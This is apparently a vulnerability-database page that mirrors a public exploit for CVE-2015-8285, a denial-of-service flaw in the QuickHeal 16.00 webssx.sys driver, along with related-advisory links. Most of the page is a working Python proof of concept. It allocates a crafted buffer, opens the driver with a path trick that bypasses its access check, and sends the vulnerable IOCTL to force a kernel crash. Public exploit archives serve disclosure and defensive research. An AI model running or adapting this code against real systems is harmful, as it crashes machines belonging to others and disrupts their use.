Lucene search
K

QuickHeal 16.00 - webssx.sys Driver Denial of Service

🗓️ 19 Feb 2016 00:00:00Reported by Fitzl CsabaType 
zdt
 zdt
🔗 0day.today👁 30 Views

QuickHeal webssx.sys Driver Denial of Service vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
CNVD
QuickHeal Denial of Service Vulnerability
26 Apr 201700:00
cnvd
CVE
CVE-2015-8285
20 Apr 201721:00
cve
Cvelist
CVE-2015-8285
20 Apr 201721:00
cvelist
Exploit DB
QuickHeal 16.00 - 'webssx.sys' Driver Denial of Service
19 Feb 201600:00
exploitdb
exploitpack
QuickHeal 16.00 - webssx.sys Driver Denial of Service
19 Feb 201600:00
exploitpack
NVD
CVE-2015-8285
20 Apr 201721:59
nvd
OpenVAS
QuickHeal CVE-2015-8285 Denial of Service Vulnerability
2 May 201700:00
openvas
Prion
Denial of service
20 Apr 201721:59
prion
# Exploit Title: QuickHeal webssx.sys driver DOS vulnerability
# Date: 19/02/2016
# Exploit Author: Csaba Fitzl
# Vendor Homepage: http://www.quickheal.co.in/
# Version: 16.00
# Tested on: Win7x86, Win7x64
# CVE : CVE-2015-8285
 
from ctypes import *
from ctypes.wintypes import *
import sys
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
 
#GLOBAL VARIABLES
 
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
 
def alloc_in(base,evil_size):
    """ Allocate input buffer """
    print "[*] Allocating input buffer"
    baseadd   = c_int(base)
    size = c_int(evil_size)
    evil_input = "\x41" * 0x10
    evil_input += "\x42\x01\x42\x42" #to trigger memcpy
    evil_input += "\x42" * (0x130-0x14)
    evil_input += "\xc0\xff\xff\xff" #this will cause memcpy to fail, and trigger BSOD
    evil_input += "\x43" * (evil_size-len(evil_input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "[-] Error while allocating memory: %s" % hex(dwStatus+0xffffffff)
        sys.exit()
    written = c_ulong()
    alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))
    if alloc == 0:
        print "[-] Error while writing our input buffer memory: %s" %\
            alloc
        sys.exit()
 
if __name__ == '__main__':
    print "[*] webssx BSOD"
     
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    IOCTL_VULN  = 0x830020FC
    DEVICE_NAME   = "\\\\.\\webssx\some" #add "some" to bypass ACL restriction, (FILE_DEVICE_SECURE_OPEN is not applied to the driver)
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
 
    inputbuffer    = 0x41414141 #memory address of the input buffer
    inputbuffer_size  = 0x1000
    outputbuffer_size = 0x0
    outputbuffer      = 0x20000000
    alloc_in(inputbuffer,inputbuffer_size)
    IoStatusBlock = c_ulong()
    if driver_handle:
        print "[*] Talking to the driver sending vulnerable IOCTL..."
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL_VULN,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )

#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation